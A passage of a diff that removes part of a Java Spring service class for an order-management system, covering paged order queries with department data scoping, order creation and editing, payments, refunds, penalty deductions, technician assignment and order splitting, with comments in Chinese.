分页插件) - IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), CustomerOrderVo.class, wrapper); - return TableDataInfo.build(listPage); - } - - /** - * 技术订单查询 - * @param bo - * @param pageQuery - * @return - */ - @Override - public TableDataInfo querySkillPageList(TpOrderBo bo, PageQuery pageQuery) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if (loginUser != null && loginUser.getIdentity() == 2){ - if (isNotBeforeToday9AM(bo.getParams().get("addEndTime").toString())){ - throw new ServiceException("查询时间不能是今天"); - } - } - bo.setIsDel(1); - bo.setKfOrjs(2); - //和Mybatis plus一致,MPJLambdaWrapper的泛型必须是主表的泛型,并且要用主表的Mapper来调用 - MPJLambdaWrapper wrapper = buildQueryMPJWrapper(bo); - if(LoginHelper.isSuperAdmin()){ - wrapper.selectAll(TpOrder.class); - }else { - wrapper.select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getType,TpOrder::getNum,TpOrder::getAddTime,TpOrder::getRemark,TpOrder::getJsRemark,TpOrder::getPayState,TpOrder::getJsPrice,TpOrder::getJsPayPrice,TpOrder::getState,TpOrder::getDtTime,TpOrder::getByOne,TpOrder::getByTwo,TpOrder::getByThree,TpOrder::getByFour,TpOrder::getSatisfiedTime,TpOrder::getCoupon,TpOrder::getJcsOrderId,TpOrder::getBreach); - } - wrapper.selectAs("s.nick_name",SkillOrderVo::getSname) - .selectAs("f.nick_name",SkillOrderVo::getFname) - .selectAs("b.nick_name",SkillOrderVo::getBname) - .selectAs(TpClient::getName,SkillOrderVo::getCname) - .leftJoin(SysUser.class,"s",SysUser::getUserId,TpOrder::getSid) - .leftJoin(SysUser.class,"f",SysUser::getUserId,TpOrder::getFid) - .leftJoin(SysUser.class,"b",SysUser::getUserId,TpOrder::getBid) - .leftJoin(TpClient.class,TpClient::getId,TpOrder::getKid) - .isNotNull(TpOrder::getBid); - - if (bo.getByTwo() != null){ - wrapper.orderByDesc(TpOrder::getByFour); - }else{ - wrapper .orderByDesc(TpOrder::getId); - } - - //分页查询 (需要启用 mybatis plus 分页插件) - IPage listPage = baseMapper.selectJoinPage(new Page<>(pageQuery.getPageNum(), pageQuery.getPageSize()), SkillOrderVo.class, wrapper); - return TableDataInfo.build(listPage); - } - - private MPJLambdaWrapper buildQueryMPJWrapperKF(TpOrderBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - Map params = bo.getParams(); - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - lqw.eq(StringUtils.isNotBlank(bo.getOrderId()), TpOrder::getOrderId, bo.getOrderId()); - - if(!LoginHelper.isSuperAdmin()){ - if (loginUser != null){ - if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ - List userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 2)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if(userIds != null && userIds.size() > 0){ - lqw.and(i -> i.and(j -> j.in(TpOrder::getDeptId,bo.getDeptIds()).in(TpOrder::getDeptIdJs, bo.getDeptIds()))); - }else { - lqw.in(TpOrder::getDeptId,bo.getDeptIds()); - } - }else { - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - lqw.in(TpOrder::getDeptId,deptIds); - }else if(scope == 3){ - lqw.eq(TpOrder::getDeptId,loginUser.getDeptId()); - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - lqw.in(TpOrder::getDeptId,deptIds); - }else if(scope == 5){ - lqw.eq(TpOrder::getSid,loginUser.getUserId()); - } - } - lqw.like(StringUtils.isNotBlank(bo.getCname()), TpClientStaff::getName, bo.getCname()); - } - List orderTypeIds = getOrderTypeIds(); - if(orderTypeIds != null && orderTypeIds.size() > 0){ - lqw.in(TpOrder::getType, orderTypeIds); - } - }else { - if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ - if(bo.getKfOrjs() == 1){ - List userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 2)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if(userIds != null && userIds.size() > 0){ - lqw.and(i -> i.and(j -> j.in(TpOrder::getDeptId,bo.getDeptIds()).in(TpOrder::getDeptIdJs, bo.getDeptIds()))); - }else { - lqw.in(TpOrder::getDeptId,bo.getDeptIds()); - } - }else { - List userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 2)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if(userIds != null && userIds.size() > 0){ - lqw.and(i -> i.and(j -> j.in(TpOrder::getDeptId,bo.getDeptIds()).in(TpOrder::getDeptIdJs, bo.getDeptIds()))); - }else { - lqw.in(TpOrder::getDeptIdJs,bo.getDeptIds()); - } - } - } - lqw.like(StringUtils.isNotBlank(bo.getCname()), TpClient::getName, bo.getCname()); - } - - lqw.eq(bo.getPhone() != null, TpClient::getPhone, bo.getPhone()); - lqw.like(StringUtils.isNotBlank(bo.getWcode()), TpWechat::getCode, bo.getWcode()); - lqw.like(StringUtils.isNotBlank(bo.getScode()), "s.nick_name", bo.getScode()); - lqw.like(StringUtils.isNotBlank(bo.getBcode()), "b.nick_name", bo.getBcode()); - lqw.like(StringUtils.isNotBlank(bo.getFcode()), "f.nick_name", bo.getFcode()); - if(bo.getAssignState() != null){ - lqw.isNull(bo.getAssignState() == 1, TpOrder::getBid); - lqw.isNotNull(bo.getAssignState() == 2, TpOrder::getBid); - } - lqw.eq(bo.getStyle() != null, TpOrder::getStyle, bo.getStyle()); - lqw.like(StringUtils.isNotBlank(bo.getByOne()), TpOrder::getByOne, bo.getByOne()); - if(StringUtils.isNotBlank(bo.getByTwo())){ - if("4".equals(bo.getByTwo())){ - lqw.in(TpOrder::getByTwo,2,3); - }else{ - lqw.eq(TpOrder::getByTwo, bo.getByTwo()); - } - } -// lqw.in(StringUtils.isNotBlank(bo.getByTwo()), TpOrder::getByTwo, bo.getByTwo()); - lqw.like(StringUtils.isNotBlank(bo.getByThree()), TpOrder::getByThree, bo.getByThree()); - lqw.eq(bo.getByFour() != null, TpOrder::getByFour, bo.getByFour()); - lqw.like(StringUtils.isNotBlank(bo.getSpace()), TpOrder::getSpace, bo.getSpace()); - lqw.eq(bo.getQuality() != null, TpOrder::getQuality, bo.getQuality()); - lqw.eq(bo.getType() != null, TpOrder::getType, bo.getType()); - lqw.eq(bo.getState() != null, TpOrder::getState, bo.getState()); - lqw.like(StringUtils.isNotBlank(bo.getRemark()), TpOrder::getRemark, bo.getRemark()); - lqw.like(StringUtils.isNotBlank(bo.getJsRemark()), TpOrder::getJsRemark, bo.getJsRemark()); - lqw.eq(bo.getPayState() != null, TpOrder::getPayState, bo.getPayState()); - lqw.eq(bo.getIsDel() != null, TpOrder::getIsDel, bo.getIsDel()); - lqw.between(params.get("addBeginTime") != null && params.get("addEndTime") != null, - TpOrder::getAddTime, params.get("addBeginTime"), params.get("addEndTime")); - lqw.between(params.get("dtBeginTime") != null && params.get("dtEndTime") != null, - TpOrder::getDtTime, params.get("dtBeginTime"), params.get("dtEndTime")); - lqw.eq(bo.getIsC() != null, TpOrder::getIsC, bo.getIsC()); - lqw.eq(bo.getIsCd() != null, TpOrder::getIsCd, bo.getIsCd()); - return lqw; - } - - private MPJLambdaWrapper buildQueryMPJWrapper(TpOrderBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - Map params = bo.getParams(); - MPJLambdaWrapper lqw = new MPJLambdaWrapper<>(); - lqw.eq(StringUtils.isNotBlank(bo.getOrderId()), TpOrder::getOrderId, bo.getOrderId()); - - if(!LoginHelper.isSuperAdmin()){ - if (loginUser != null){ - if (loginUser.getIdentity() == 2){ - if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ - lqw.in(TpOrder::getDeptIdJs, bo.getDeptIds()); - }else { - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - lqw.in(TpOrder::getDeptIdJs,deptIds); - }else if(scope == 3){ - lqw.eq(TpOrder::getDeptIdJs,loginUser.getDeptId()); - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - lqw.in(TpOrder::getDeptIdJs,deptIds); - }else if(scope == 5){ - lqw.eq(TpOrder::getBid,loginUser.getUserId()); - } - } - }else{ - if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ - List userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 2)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if(userIds != null && userIds.size() > 0){ - lqw.and(i -> i.and(j -> j.in(TpOrder::getDeptId,bo.getDeptIds()).in(TpOrder::getDeptIdJs, bo.getDeptIds()))); - }else { - lqw.in(TpOrder::getDeptId,bo.getDeptIds()); - } - }else { - int scope = getDataScope(); - if(scope == 2){ - List deptIds = getDeptIds(); - lqw.in(TpOrder::getDeptIdJs,deptIds); - }else if(scope == 3){ - lqw.eq(TpOrder::getDeptIdJs,loginUser.getDeptId()); - }else if(scope == 4){ - List deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, loginUser.getDeptId())).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(loginUser.getDeptId()); - lqw.in(TpOrder::getDeptIdJs,deptIds); - }else if(scope == 5){ - lqw.eq(TpOrder::getSid,loginUser.getUserId()); - } - } - lqw.like(StringUtils.isNotBlank(bo.getCname()), TpClientStaff::getName, bo.getCname()); - } - } - List orderTypeIds = getOrderTypeIds(); - if(orderTypeIds != null && orderTypeIds.size() > 0){ - lqw.in(TpOrder::getType, orderTypeIds); - } - }else{ - if(bo.getDeptIds() != null && bo.getDeptIds().size() > 0){ - if(bo.getKfOrjs() == 1){ - List userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, bo.getDeptIds()).eq(SysUser::getIdentity, 2)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - if(userIds != null && userIds.size() > 0){ - lqw.and(i -> i.and(j -> j.in(TpOrder::getDeptId,bo.getDeptIds()).in(TpOrder::getDeptIdJs, bo.getDeptIds()))); - }else { - lqw.in(TpOrder::getDeptId,bo.getDeptIds()); - } - }else { - lqw.in(TpOrder::getDeptIdJs,bo.getDeptIds()); - } - } - lqw.like(StringUtils.isNotBlank(bo.getCname()), TpClient::getName, bo.getCname()); - } - - lqw.eq(bo.getPhone() != null, TpClient::getPhone, bo.getPhone()); - lqw.like(StringUtils.isNotBlank(bo.getWcode()), TpWechat::getCode, bo.getWcode()); - lqw.like(StringUtils.isNotBlank(bo.getScode()), "s.nick_name", bo.getScode()); - lqw.like(StringUtils.isNotBlank(bo.getBcode()), "b.nick_name", bo.getBcode()); - lqw.like(StringUtils.isNotBlank(bo.getFcode()), "f.nick_name", bo.getFcode()); - if(bo.getAssignState() != null){ - lqw.isNull(bo.getAssignState() == 1, TpOrder::getBid); - lqw.isNotNull(bo.getAssignState() == 2, TpOrder::getBid); - } - lqw.eq(bo.getStyle() != null, TpOrder::getStyle, bo.getStyle()); - lqw.like(StringUtils.isNotBlank(bo.getSpace()), TpOrder::getSpace, bo.getSpace()); - lqw.like(StringUtils.isNotBlank(bo.getByOne()), TpOrder::getByOne, bo.getByOne()); - if(StringUtils.isNotBlank(bo.getByTwo())){ - if("4".equals(bo.getByTwo())){ - lqw.in(TpOrder::getByTwo,2,3); - }else{ - lqw.eq(TpOrder::getByTwo, bo.getByTwo()); - } - } -// lqw.like(StringUtils.isNotBlank(bo.getByTwo()), TpOrder::getByTwo, bo.getByTwo()); - lqw.like(StringUtils.isNotBlank(bo.getByThree()), TpOrder::getByThree, bo.getByThree()); - lqw.eq(bo.getByFour() != null, TpOrder::getByFour, bo.getByFour()); - lqw.eq(bo.getQuality() != null, TpOrder::getQuality, bo.getQuality()); - lqw.eq(bo.getType() != null, TpOrder::getType, bo.getType()); - lqw.eq(bo.getState() != null, TpOrder::getState, bo.getState()); - lqw.like(StringUtils.isNotBlank(bo.getRemark()), TpOrder::getRemark, bo.getRemark()); - lqw.like(StringUtils.isNotBlank(bo.getJsRemark()), TpOrder::getJsRemark, bo.getJsRemark()); - lqw.eq(bo.getPayState() != null, TpOrder::getPayState, bo.getPayState()); - lqw.eq(bo.getIsDel() != null, TpOrder::getIsDel, bo.getIsDel()); - lqw.between(params.get("addBeginTime") != null && params.get("addEndTime") != null, - TpOrder::getAddTime, params.get("addBeginTime"), params.get("addEndTime")); - lqw.between(params.get("dtBeginTime") != null && params.get("dtEndTime") != null, - TpOrder::getDtTime, params.get("dtBeginTime"), params.get("dtEndTime")); - lqw.eq(bo.getIsC() != null, TpOrder::getIsC, bo.getIsC()); - lqw.eq(bo.getIsCd() != null, TpOrder::getIsCd, bo.getIsCd()); - return lqw; - } - - /** - * 新增订单管理 - * - * @param bo 订单管理 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpOrderBo bo) { - LoginUser loginUser = LoginHelper.getLoginUser(); - if (loginUser.getIdentity() != 3){ - throw new ServiceException("只有客服才可以下单"); - } - - if(bo.getSkid() == null || bo.getSkid() == 0){ - throw new ServiceException("请选择客户"); - } - - if(bo.getKid() == null || bo.getKid() == 0){ - throw new ServiceException("请选择客户"); - } - - SysDept dept = deptMapper.selectById(loginUser.getDeptId()); - //生成订单号 - String orderNum = genItemId(); - bo.setOrderId(orderNum); - bo.setSid(loginUser.getUserId()); - bo.setAddTime(new Date()); - bo.setEndPrice(bo.getPrice()); - bo.setJsPrice(bo.getPrice()); - bo.setDeptId(loginUser.getDeptId()); - bo.setAncestors(dept.getAncestors()); - - TpOrder add = MapstructUtils.convert(bo, TpOrder.class); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - boolean res = saveOrderRecord(add.getId(),"创建订单","创建订单:"+orderNum+" 成功",1,null); - if(!res){ - throw new ServiceException("创建订单失败"); - } - } - return flag; - } - - /** - * 修改订单管理 - * - * @param bo 订单管理 - * @return 是否修改成功 - */ - @Override - @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) - public Boolean updateByBo(TpOrderBo bo) { - TpOrder order = baseMapper.selectById(bo.getId()); - if(StringUtils.isNotEmpty(bo.getOrderId()) && !Objects.equals(bo.getOrderId(), order.getOrderId())){ - throw new ServiceException("订单编号不可以修改"); - } - BigDecimal endPrice = bo.getPrice().subtract(order.getPayPrice().add(order.getCoupon())); - if(endPrice.compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("订单金额不可以小于已支付金额"); - } - if(order.getPayState() == 2){ - if (bo.getPrice().compareTo(order.getPayPrice().add(order.getCoupon())) == 0) { - bo.setPayState(3); - } - } - if(order.getPayState() == 3){ - if(bo.getPrice().compareTo(order.getPayPrice().add(order.getCoupon())) > 0){ - bo.setPayState(2); - } - } - bo.setEndPrice(endPrice); - bo.setJsPrice(bo.getPrice().subtract(order.getGjPrice()).subtract(order.getCdPrice())); - TpOrder update = MapstructUtils.convert(bo, TpOrder.class); - boolean res = saveOrderRecord(order.getId(),"修改订单","订单:"+order.getOrderId()+" 修改成功",1,bo.getRecord()); - if(!res){ - throw new ServiceException("订单修改失败"); - } - return baseMapper.updateById(update) > 0; - } - - /** - * 修改订单信息 - * - * @param bo - * @return - */ - @Override - public Boolean updateInfoByBo(TpOrderBo bo) { - TpOrder update = MapstructUtils.convert(bo, TpOrder.class); - return baseMapper.updateById(update) > 0; - } - - /** - * 扣除违约金 - * - * @param bo - */ - @Override - public int breach(TpOrderBo bo) { - TpOrder order = baseMapper.selectById(bo.getId()); - if(order.getPayState() == 1){ - throw new ServiceException("该订单未支付,不可扣除违约金"); - } - BigDecimal jsPayPrice = getJsPayPrice(order.getPrice(),order.getPayPrice(),order.getPrice().subtract(order.getGjPrice()).subtract(order.getCdPrice())); -// order.setJsPayPrice(getJsPay(jsPayPrice.subtract(bo.getBreach()))); - boolean res = saveOrderRecord(order.getId(),"扣除违约金","订单:"+order.getOrderId()+" 修改成功",1,bo.getRecord()); - if(!res){ - throw new ServiceException("订单修改失败"); - } -// TpOrder update = new TpOrder(); -// update.setId(order.getId()); -// update.setBreach(getJsPay(jsPayPrice.subtract(bo.getBreach()))); - - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(TpOrder::getId, order.getId()) - .set(TpOrder::getBreach, bo.getBreach()) - .set(TpOrder::getJsPayPrice, getJsPay(jsPayPrice.subtract(bo.getBreach()))); - return baseMapper.update(null, updateWrapper); - } - - /** - * 满意度接口 - * - * @param bo - */ - @Override - public int satisfied(TpOrderBo bo) { - TpOrder order = baseMapper.selectById(bo.getId()); - if(order.getPayState() == 1){ - throw new ServiceException("该订单未支付,不可修改满意度"); - } - - //查询满意度ID最大ID - TpOrder maxOrder = baseMapper.selectOne(new LambdaQueryWrapper().select(TpOrder::getByFour).orderByDesc(TpOrder::getByFour).last("limit 1")); - - if(maxOrder != null && maxOrder.getByFour() != 0){ - bo.setByFour(maxOrder.getByFour() + 1); - } else { - bo.setByFour(1); - } - - LambdaUpdateWrapper updateWrapper = new LambdaUpdateWrapper<>(); - updateWrapper.eq(TpOrder::getId, order.getId()) - .set(TpOrder::getByTwo, bo.getByTwo()) - .set(TpOrder::getByThree, bo.getByThree()) - .set(TpOrder::getByFour, bo.getByFour()) - .set(TpOrder::getSatisfiedTime, new Date()); - return baseMapper.update(null, updateWrapper); - } - - /** - * 校验并批量删除订单管理信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - List list = baseMapper.selectByIds(ids); - for (TpOrder tpOrder : list) { - if(tpOrder.getPayState() != 1){ - throw new ServiceException("该订单已支付,不可删除"); - } - tpOrder.setIsDel(2); - boolean res = saveOrderRecord(tpOrder.getId(),"删除订单","删除订单:"+tpOrder.getOrderId()+" 成功",1,null); - if(!res){ - throw new ServiceException("删除订单失败"); - } - } - return baseMapper.updateBatchById(list); - } - - /** - * 订单指派技术 - * @param orderIds - * @param userId - * @return - */ - @Override - @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) - public boolean updateOrderAssign(List orderIds, Long userId) { - LoginUser loginUser = LoginHelper.getLoginUser(); - - SysUser user = sysUserMapper.selectById(userId); - - List orderList = new ArrayList<>(); - for (Long orderId : orderIds){ - TpOrder order = baseMapper.selectById(orderId); - order.setFid(loginUser.getUserId()); - order.setBid(userId); - - SysDept dept = deptMapper.selectById(user.getDeptId()); - order.setDeptIdJs(dept.getDeptId()); - order.setAncestorsJs(dept.getAncestors()); - - boolean res = saveOrderRecord(order.getId(),"订单分图","订单:"+order.getOrderId()+" 指派给"+user.getNickName()+" 成功",1,null); - if(!res){ - throw new ServiceException("订单指派失败"); - } - orderList.add(order); - } - return baseMapper.updateBatchById(orderList); - } - - /** - * 订单取消指派 - * @param orderId - * @return - */ - @Override - @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) - public int orderCancelAssign(Long orderId) { - TpOrder order = baseMapper.selectById(orderId); - order.setBid(null); - order.setBreach(null); - boolean res = saveOrderRecord(order.getId(),"取消指派","订单:"+order.getOrderId()+" 取消指派",1,null); - if(!res){ - throw new ServiceException("订单取消指派失败"); - } - return baseMapper.updateById(order); - } - - /** - * 订单支付获取订单和余额信息 - * @param orderId - * @return - */ - @Override - public TpOrderVo queryOrderPay(Long orderId) { - MPJLambdaWrapper wrapper = new MPJLambdaWrapper() - .select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getPrice,TpOrder::getPayPrice) - .selectAs(SysUser::getYue,TpOrderVo::getKfYue) - .selectAs(TpClientStaff::getYue,TpOrderVo::getKhYue) -// .selectAs("(SELECT yue from tp_client_staff c where c.kid = t.kid and c.sid = t.sid)",TpOrderVo::getKhYue) - .leftJoin(SysUser.class,SysUser::getUserId,TpOrder::getSid) - .leftJoin(TpClientStaff.class,TpClientStaff::getId,TpOrder::getSkid) - .eq(TpOrder::getId,orderId); - - TpOrderVo tpOrderVo = baseMapper.selectJoinOne(TpOrderVo.class, wrapper); - tpOrderVo.setTimestamp(String.valueOf(System.currentTimeMillis())); - return tpOrderVo; - } - - /** - * 订单支付 - * @param orderId - * @param type - * @param price - * @return - */ - @Override - @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) - public int orderPay(Long orderId, Integer type, BigDecimal price) { - TpOrder order = baseMapper.selectById(orderId); - if(order.getPayState() == 3){ - throw new ServiceException("该订单已付清,不可再支付"); - } - - //订单剩余支付 - BigDecimal payPrice = order.getPrice().subtract(order.getPayPrice()); - //差额 - BigDecimal cePrice = payPrice.subtract(price); - if(cePrice.compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("支付金额不能大于订单尾款"); - } else if (cePrice.compareTo(BigDecimal.ZERO) > 0) { - order.setDjPrice(order.getDjPrice().add(price)); - order.setDjpTime(new Date()); - } else if (cePrice.compareTo(BigDecimal.ZERO) == 0) { - order.setDjPrice(order.getDjPrice().add(price)); - order.setEndpTime(new Date()); - } - - BigDecimal newPayPrice = null; - if(type.equals(1)){ - newPayPrice = price.add(order.getPayPrice()); - TpClientStaff clientStaff = clientStaffMapper.selectById(order.getSkid()); - if(clientStaff.getYue().subtract(price).compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("客户账户余额不足"); - } - clientStaff.setYue(clientStaff.getYue().subtract(price)); - clientStaffMapper.updateById(clientStaff); - - TpClient client = clientMapper.selectById(clientStaff.getKid()); - client.setYue(client.getYue().subtract(price)); - clientMapper.updateById(client); - - order.setKhpay(order.getKhpay().add(price)); - - boolean res = saveOrderRecord(order.getId(),"订单支付","订单:"+order.getOrderId()+" 客户支付金额:"+price+" 成功",1,null); - if(!res){ - throw new ServiceException("订单支付失败"); - } - }else if(type.equals(2)){ - SysUser sysUser = sysUserMapper.selectById(order.getSid()); - if(sysUser.getYue().subtract(price).compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("客服账户余额不足"); - } - - if(order.getCdPrice().compareTo(BigDecimal.ZERO) > 0){ - if(price.subtract(order.getCdPrice()).compareTo(BigDecimal.ZERO) >= 0){ - newPayPrice = price.subtract(order.getCdPrice()).add(order.getPayPrice()); - order.setKfpay(order.getKfpay().add(price.subtract(order.getCdPrice()))); - order.setCdPrice(new BigDecimal(0)); - }else { - order.setCdPrice(order.getCdPrice().subtract(price)); - order.setKfpay(new BigDecimal(0)); - newPayPrice = order.getPayPrice(); - } - }else { - order.setKfpay(order.getKfpay().add(price)); - newPayPrice = price.add(order.getPayPrice()); - } - - sysUser.setYue(sysUser.getYue().subtract(price)); - sysUserMapper.updateById(sysUser); - - boolean res = saveOrderRecord(order.getId(),"订单支付","订单:"+order.getOrderId()+" 客服支付金额:"+price+" 成功",1,null); - if(!res){ - throw new ServiceException("订单支付失败"); - } - } - - if(order.getGjPrice() != null || order.getGjPrice().compareTo(BigDecimal.ZERO) > 0){ - order.setGpay(getGjPayPrice(order.getPrice(),newPayPrice.add(order.getCoupon()),order.getGjPrice())); - } - BigDecimal jsPayPrice = getJsPayPrice(order.getPrice(),newPayPrice,order.getPrice().subtract(order.getGjPrice()).subtract(order.getCdPrice())); - order.setJsPayPrice(getJsPay(jsPayPrice.subtract(order.getBreach()))); - order.setState(2); - order.setPayPrice(newPayPrice); - BigDecimal endPrice = order.getPrice().subtract(newPayPrice.add(order.getCoupon())); - order.setEndPrice(endPrice); - if(endPrice.compareTo(BigDecimal.ZERO) > 0){ - order.setPayState(2); - }else { - order.setPayState(3); - } - return baseMapper.updateById(order); - } - - /** - * 订单回退获取订单和退款金额信息 - * @param orderId - * @return - */ - @Override - public TpOrderVo orderFallback(Long orderId) { - LambdaQueryWrapper lwq = new LambdaQueryWrapper() - .select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getKhpay,TpOrder::getKfpay,TpOrder::getCdPrice,TpOrder::getSid,TpOrder::getKid) - .eq(TpOrder::getId,orderId); - return baseMapper.selectVoOne(lwq); - } - - /** - * 订单回退 - * @param orderId - * @param type - * @param price - * @return - */ - @Override - @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) - public int fallback(Long orderId, Integer type, BigDecimal price) { - TpOrder order = baseMapper.selectById(orderId); - if(order.getPayState() == 1){ - throw new ServiceException("该订单未支付,不可回退"); - } - //已支付减去回退金额 - BigDecimal payPrice = order.getPayPrice().subtract(price); - if(payPrice.compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("回退金额不可以大于已支付金额"); - } else if (payPrice.compareTo(BigDecimal.ZERO) > 0) { - order.setPayState(2); - order.setDjPrice(payPrice); - order.setEndPrice(order.getPrice().subtract(payPrice.add(order.getCoupon()))); - }else if (payPrice.compareTo(BigDecimal.ZERO) == 0) { - order.setState(1); - order.setPayState(1); - order.setDjPrice(payPrice); - order.setEndPrice(order.getPrice().subtract(payPrice.add(order.getCoupon()))); - } - if(type.equals(1)){ - if(order.getKhpay().subtract(order.getCdPrice()).subtract(price).compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("回退金额不可以大于已支付金额"); - } - TpClientStaff clientStaff = clientStaffMapper.selectById(order.getSkid()); - clientStaff.setYue(clientStaff.getYue().add(price)); - clientStaffMapper.updateById(clientStaff); - TpClient client = clientMapper.selectById(clientStaff.getKid()); - client.setYue(client.getYue().add(price)); - clientMapper.updateById(client); - order.setKhpay(order.getKhpay().subtract(price)); - - boolean res = saveOrderRecord(order.getId(),"订单回退","订单:"+order.getOrderId()+" 客户回退金额:"+price+" 成功",1,null); - if(!res){ - throw new ServiceException("订单回退失败"); - } - }else if(type.equals(2)){ - if(order.getKfpay().subtract(order.getCdPrice()).subtract(price).compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("回退金额不可以大于已支付金额"); - } - SysUser sysUser = sysUserMapper.selectById(order.getSid()); - sysUser.setYue(sysUser.getYue().add(price)); - sysUserMapper.updateById(sysUser); - order.setKfpay(order.getKfpay().subtract(price)); - - boolean res = saveOrderRecord(order.getId(),"订单回退","订单:"+order.getOrderId()+" 客服回退金额:"+price+" 成功",1,null); - if(!res){ - throw new ServiceException("订单回退失败"); - } - } - - if(order.getGjPrice() != null || order.getGjPrice().compareTo(BigDecimal.ZERO) > 0){ - order.setGpay(getGjPayPrice(order.getPrice(),payPrice.add(order.getCoupon()),order.getGjPrice())); - } - BigDecimal jsPayPrice = getJsPayPrice(order.getPrice(),payPrice,order.getPrice().subtract(order.getGjPrice()).subtract(order.getCdPrice())); - order.setJsPayPrice(getJsPay(jsPayPrice)); - - order.setPayPrice(payPrice); - return baseMapper.updateById(order); - } - - /** - * 订单拆单获取订单和金额信息 - * @param orderId - * @return - */ - @Override - public TpOrderVo cdOrderInfo(Long orderId) { - LambdaQueryWrapper lwq = new LambdaQueryWrapper() - .select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getCdPrice,TpOrder::getKhpay,TpOrder::getSid,TpOrder::getKid,TpOrder::getAddTime) - .eq(TpOrder::getId,orderId); - TpOrderVo orderVo = baseMapper.selectVoOne(lwq); - orderVo.setJsPrice(orderVo.getPrice().subtract(orderVo.getCdPrice())); - return orderVo; - } - - /** - * 订单拆单 - * @param orderId - * @param price - * @return - */ - @Override - @Transactional(propagation = Propagation.REQUIRED, rollbackFor = Exception.class) - public int cdOrder(Long orderId, BigDecimal price) { - TpOrder order = baseMapper.selectById(orderId); - if (order.getIsCd() == 2) { - throw new ServiceException("该订单已拆单"); - } - if(order.getKfpay().compareTo(BigDecimal.ZERO) > 0){ - throw new ServiceException("该订单客服已用余额支付,不可拆单"); - } - //已支付减去拆单金额 - BigDecimal payPrice = order.getKhpay().subtract(price); - if(payPrice.compareTo(BigDecimal.ZERO) < 0){ - throw new ServiceException("拆单金额不能大于客户已付金额"); - } - if(order.getPayState() != 1){ - order.setCdPrice(price); - order.setJsPrice(order.getPrice().subtract(order.getGjPrice()).subtract(price)); - if(order.getGjPrice() != null || order.getGjPrice().compareTo(BigDecimal.ZERO) > 0){ - order.setGpay(getGjPayPrice(order.getPrice(),order.getPayPrice(),order.getGjPrice())); - } - BigDecimal jsPayPrice = getJsPayPrice(order.getPrice(),order.getPayPrice(),order.getPrice().subtract(order.getGjPrice()).subtract(price)); - order.setJsPayPrice(getJsPay(jsPayPrice)); - } - boolean res = saveOrderRecord(order.getId(),"订单拆单","订单:"+order.getOrderId()+"拆单成功!拆单金额:"+price,1,null); - if(!res){ - throw new ServiceException("订单拆单失败"); - } - order.setIsCd(2); - - SysUser sysUser = sysUserMapper.selectById(order.getSid()); - sysUser.setYue(sysUser.getYue().add(price)); - sysUserMapper.updateById(sysUser); - - return baseMapper.updateById(order); - } - - /** - * 订单改价获取订单和金额信息 - * @param orderId 主键 - */ - @Override - public TpOrderVo gjOrderInfo(Long orderId) { - LambdaQueryWrapper lwq = new LambdaQueryWrapper() - .select(TpOrder::getId,TpOrder::getOrderId,TpOrder::getPrice,TpOrder::getPayPrice,TpOrder::getJsPrice,TpOrder::getCdPrice,TpOrder::getGjPrice,TpOrder::getSid,TpOrder::getKid,TpOrder::getAddTime) - .eq(TpOrder::getId,orderId); - return baseMapper.selectVoOne(lwq); 